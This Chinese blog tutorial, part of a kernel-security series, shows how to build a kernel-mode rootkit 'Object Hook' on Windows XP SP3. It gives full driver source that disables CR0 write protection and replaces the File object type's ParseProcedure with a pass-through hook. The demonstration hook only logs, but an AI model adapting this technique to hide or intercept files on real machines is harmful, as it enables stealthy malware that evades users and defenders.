[内核安全3]内核态Rootkit之Object Hook

Object Hook是通过挂钩OBJECT_HEADER其中一些字段来实现的。在Windows中通过对象管理器来管理所有对象,可以使用WinObj来观察一下WinXP SP3下的对象类型:

Windows中包含三种对象:

  • 执行体对象
  • 内核对象
  • GDI/User对象

这里我们挂钩的就是执行体对象。

这里实验机器是WinXP SP3, 首先来看一下进程对象的数据结构:

然后随便找一个进程对象,寻找他的对象结构体,比如之前打开的WinObj进程,

通过!object命令查找到了其进程对象的基本信息,并找到了对应ObjectHeader位置,接下去看一下其头部有什么内容:

看到了吧,这就是WinObj进程的头部,看到其中的Type字段,这就是那张简图中的对象类型,我们最终是要找到其中的方法并对其挂钩。

上图就是找到最终方法的步骤,其中重要字段我已经框出。这里演示挂钩ParseProcedure方法。

在这里可以清晰看到该方法拥有的形参类型,由此我定义如下函数指针:

Object Hook挂钩的整体步骤如下:

  1. 通过ZwOpenFile打开具体某个文件并获取对应文件句柄
  2. 通过ObReferenceObjectByHandle获取文件句柄对应的文件对象指针
  3. 通过文件对象指针获取文件对象的头部,即OBJECT_HEADER
  4. 通过对象头部获取其对象类型字段
  5. 通过类型字段替换其中的ParseProcedure字段为我们自己的函数
  6. 挂钩完成

由于关于对象的几个关键数据结构在wdk头文件中都是没有定义的,所以需要自己定义,网上有很多关于这方面的介绍,实在不行,可以通过windbg查看其数据成员:

各个数据成员在windbg下都是可以清楚看到的。给出如下定义:

typedef struct _OBJECT_TYPE_INITIALIZER {
	USHORT Length;
	BOOLEAN UseDefaultObject;
	BOOLEAN CaseInsensitive;
	ULONG InvalidAttributes;
	GENERIC_MAPPING GenericMapping;
	ULONG ValidAccessMask;
	BOOLEAN SecurityRequired;
	BOOLEAN MaintainHandleCount;
	BOOLEAN MaintainTypeList;
	POOL_TYPE PoolType;
	ULONG DefaultPagedPoolCharge;
	ULONG DefaultNonPagedPoolCharge;
	PVOID DumpProcedure;
	PVOID OpenProcedure;
	PVOID CloseProcedure;
	PVOID DeleteProcedure;
	PVOID ParseProcedure;
	PVOID SecurityProcedure;
	PVOID QueryNameProcedure;
	PVOID OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;

typedef struct _OBJECT_TYPE {
	ERESOURCE Mutex;
	LIST_ENTRY TypeList;
	UNICODE_STRING Name;
	PVOID DefaultObject;
	ULONG Index;
	ULONG TotalNumberOfObjects;
	ULONG TotalNumberOfHandles;
	ULONG HighWaterNumberOfObjects;
	ULONG HighWaterNumberOfHandles;
	OBJECT_TYPE_INITIALIZER TypeInfo;
#ifdef POOL_TAGGING 
	ULONG Key;
#endif 
} OBJECT_TYPE, *POBJECT_TYPE;

typedef struct _OBJECT_CREATE_INFORMATION {
	ULONG Attributes;
	HANDLE RootDirectory;
	PVOID ParseContext;
	KPROCESSOR_MODE ProbeMode;
	ULONG PagedPoolCharge;
	ULONG NonPagedPoolCharge;
	ULONG SecurityDescriptorCharge;
	PSECURITY_DESCRIPTOR SecurityDescriptor;
	PSECURITY_QUALITY_OF_SERVICE SecurityQos;
	SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
} OBJECT_CREATE_INFORMATION, *POBJECT_CREATE_INFORMATION;

typedef struct _OBJECT_HEADER {
	LONG PointerCount;
	union {
		LONG HandleCount;
		PSINGLE_LIST_ENTRY SEntry;
	};
	POBJECT_TYPE Type;
	UCHAR NameInfoOffset;
	UCHAR HandleInfoOffset;
	UCHAR QuotaInfoOffset;
	UCHAR Flags;
	union
	{
		POBJECT_CREATE_INFORMATION ObjectCreateInfo;
		PVOID QuotaBlockCharged;
	};

	PSECURITY_DESCRIPTOR SecurityDescriptor;
	QUAD Body;
} OBJECT_HEADER, *POBJECT_HEADER;

接下去通过调试来看一下ParseProcedure字段到底调用了哪一个函数:

看到了吧,其最终调用的实际上就是IopParseFile。

最后贴出完整代码:

#include <ntddk.h>

#define OBJECT_TO_OBJECT_HEADER(o) \
	CONTAINING_RECORD((o), OBJECT_HEADER, Body)


typedef struct _OBJECT_TYPE_INITIALIZER {
	USHORT Length;
	BOOLEAN UseDefaultObject;
	BOOLEAN CaseInsensitive;
	ULONG InvalidAttributes;
	GENERIC_MAPPING GenericMapping;
	ULONG ValidAccessMask;
	BOOLEAN SecurityRequired;
	BOOLEAN MaintainHandleCount;
	BOOLEAN MaintainTypeList;
	POOL_TYPE PoolType;
	ULONG DefaultPagedPoolCharge;
	ULONG DefaultNonPagedPoolCharge;
	PVOID DumpProcedure;
	PVOID OpenProcedure;
	PVOID CloseProcedure;
	PVOID DeleteProcedure;
	PVOID ParseProcedure;
	PVOID SecurityProcedure;
	PVOID QueryNameProcedure;
	PVOID OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;

typedef struct _OBJECT_TYPE {
	ERESOURCE Mutex;
	LIST_ENTRY TypeList;
	UNICODE_STRING Name;
	PVOID DefaultObject;
	ULONG Index;
	ULONG TotalNumberOfObjects;
	ULONG TotalNumberOfHandles;
	ULONG HighWaterNumberOfObjects;
	ULONG HighWaterNumberOfHandles;
	OBJECT_TYPE_INITIALIZER TypeInfo;
#ifdef POOL_TAGGING 
	ULONG Key;
#endif 
} OBJECT_TYPE, *POBJECT_TYPE;

typedef struct _OBJECT_CREATE_INFORMATION {
	ULONG Attributes;
	HANDLE RootDirectory;
	PVOID ParseContext;
	KPROCESSOR_MODE ProbeMode;
	ULONG PagedPoolCharge;
	ULONG NonPagedPoolCharge;
	ULONG SecurityDescriptorCharge;
	PSECURITY_DESCRIPTOR SecurityDescriptor;
	PSECURITY_QUALITY_OF_SERVICE SecurityQos;
	SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
} OBJECT_CREATE_INFORMATION, *POBJECT_CREATE_INFORMATION;

typedef struct _OBJECT_HEADER {
	LONG PointerCount;
	union {
		LONG HandleCount;
		PSINGLE_LIST_ENTRY SEntry;
	};
	POBJECT_TYPE Type;
	UCHAR NameInfoOffset;
	UCHAR HandleInfoOffset;
	UCHAR QuotaInfoOffset;
	UCHAR Flags;
	union
	{
		POBJECT_CREATE_INFORMATION ObjectCreateInfo;
		PVOID QuotaBlockCharged;
	};

	PSECURITY_DESCRIPTOR SecurityDescriptor;
	QUAD Body;
} OBJECT_HEADER, *POBJECT_HEADER;


POBJECT_TYPE pType = NULL;
POBJECT_HEADER pObjectHdr = NULL;
PVOID pOldParseProcedure = NULL;

VOID
Unload(
IN PDRIVER_OBJECT pDriverObject
)
{
	KdPrint(("卸载驱动!\n"));
}

typedef NTSTATUS(NTAPI *PFNPARSEPROCEDURE)(
	IN PVOID ParseObject,
	IN PVOID ObjectType,
	IN OUT PACCESS_STATE AccessState,
	IN KPROCESSOR_MODE AccessMode,
	IN ULONG Attributes,
	IN OUT PUNICODE_STRING CompleteName,
	IN OUT PUNICODE_STRING RemainingName,
	IN OUT PVOID Context OPTIONAL,
	IN PSECURITY_QUALITY_OF_SERVICE SecurityQos OPTIONAL,
	OUT PVOID *Object
	);

NTSTATUS NewParseProcedure(
	IN PVOID ParseObject,
	IN PVOID ObjectType,
	IN OUT PACCESS_STATE AccessState, 
	IN KPROCESSOR_MODE AccessMode,
	IN ULONG Attributes,
	IN OUT PUNICODE_STRING CompleteName, 
	IN OUT PUNICODE_STRING RemainingName,
	IN OUT PVOID Context OPTIONAL,
	IN PSECURITY_QUALITY_OF_SERVICE SecurityQos OPTIONAL,
	OUT PVOID *Object
	)
{
	NTSTATUS status;
	KdPrint(("Object is hooked!\n"));
	PFNPARSEPROCEDURE pfnParseProcedure = NULL;

	pfnParseProcedure = (PFNPARSEPROCEDURE)pOldParseProcedure;
	status = pfnParseProcedure(ParseObject, ObjectType, AccessState, AccessMode,
		Attributes, CompleteName, RemainingName, Context, SecurityQos, Object);

	return(status);
}


NTSTATUS 
ObjectHook()
{
	NTSTATUS status;
	HANDLE hFile;
	UNICODE_STRING ustrName;
	OBJECT_ATTRIBUTES objAttr;
	IO_STATUS_BLOCK ioStatusBlock;
	PVOID pObject = NULL;

	// 其中xxxx是文件
	RtlInitUnicodeString(&ustrName, L"\\Device\\HarddiskVolume1\\1.txt");
	InitializeObjectAttributes(&objAttr, &ustrName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 0, NULL);

	// 打开C盘下的文件
	status = ZwOpenFile(&hFile, GENERIC_ALL, &objAttr, &ioStatusBlock, 0, FILE_NON_DIRECTORY_FILE);
	if (!NT_SUCCESS(status))
	{
		return(status);
	}
	// 获取1.txt文本文件的对象指针
	status = ObReferenceObjectByHandle(hFile, GENERIC_ALL, NULL, KernelMode, &pObject, NULL);
	if (!NT_SUCCESS(status))
	{
		return(status);
	}
	// 获取指向_OBJECT_HEADER对象头部指针
	pObjectHdr = OBJECT_TO_OBJECT_HEADER(pObject);
	// 获取其中的对象类型
	pType = pObjectHdr->Type;
	// 保存打开创建方面的例程
	pOldParseProcedure = pType->TypeInfo.ParseProcedure;
	
	// 关闭写保护
	__asm
	{
		cli 
		mov eax, cr0
		and eax, not 10000h
		mov cr0, eax 
	}
	// 进行HOOK操作
	pType->TypeInfo.ParseProcedure = NewParseProcedure;
	// 打开写保护
	__asm
	{
		mov eax, cr0 
		or eax, 10000h
		mov cr0, eax 
		sti 
	}
	// 关闭文件
	status = ZwClose(hFile);

	return(status);
}

NTSTATUS 
DriverEntry(
	IN PDRIVER_OBJECT pDriverObject, 
	IN PUNICODE_STRING pRegistryPath
	) 
{
	KdPrint(("加载驱动!\n"));
	pDriverObject->DriverUnload = Unload;
	ObjectHook();
	

	return(STATUS_SUCCESS);
}

最终的实现效果:

对了, 可能有人会对这个产生困惑,这是一个路径名。

在内核态下使用路径名都是\Device\开头的,这些叫做设备名,在用户态下的想要访问驱动设备用的都是符号链接名, 一般调用IoCreateSymbolicLink将符号链接名和设备名关联起来。可以想象成符号链接名是设备名的软链接,这样应该更好理解。符号链接名也就是我们在用户态下看到的名称。符号链接名一般采用\??\开头的格式。也就是说如果某个驱动设备希望被用户态进程访问到,就必须提供一个符号链接名以供进程访问。

实际上我们在Windows中看到的盘符都是一个个逻辑设备。其真实的物理设备就是硬盘。Windows将其抽象成了很多个逻辑设备。比如C盘,就是其符号链接名是\??\C:

来看看起真实的设备名:

看见了吧,就是\Device\HarddiskVolume1。由于我们的驱动是在内核态运行的。所以必须使用真实的设备名, 所以上面那个路径实际上就是C:\\1.txt。

(完)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值